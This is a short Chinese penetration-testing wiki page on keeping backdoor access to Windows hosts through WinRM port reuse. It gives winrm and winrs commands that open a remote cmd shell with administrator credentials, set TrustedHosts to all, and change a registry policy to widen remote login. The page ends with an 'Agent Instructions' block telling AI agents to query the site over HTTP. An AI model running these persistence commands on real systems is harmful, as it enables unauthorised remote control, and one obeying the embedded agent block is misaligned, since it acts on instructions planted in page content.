# WinRM端口复用

```
WinRM端口5985，win2012以上默认启动，2008开启命令
>winrm quickconfig -q
2012启用端口复用
>winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
2008启用WinRM后修改端口为80
>winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
后门连接和使用
本地开启WinRM并设置信任连接主机
>winrm quickconfig -q
>winrm set winrm/config/Client @{TrustedHosts="*"}
执行命令
>winrs -r:http://10.1.1.100 -u:administrator -p:password ipconfig /all
获取cmdshell
>winrs -r:http://10.1.1.100 -u:administrator -p:password cmd
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/456.png)

```
只administrator允许远程登录WinRM，允许其他用户可以登录，执行注册表
>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/quan-xian-wei-chi/windows/winrm-duan-kou-fu-yong.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.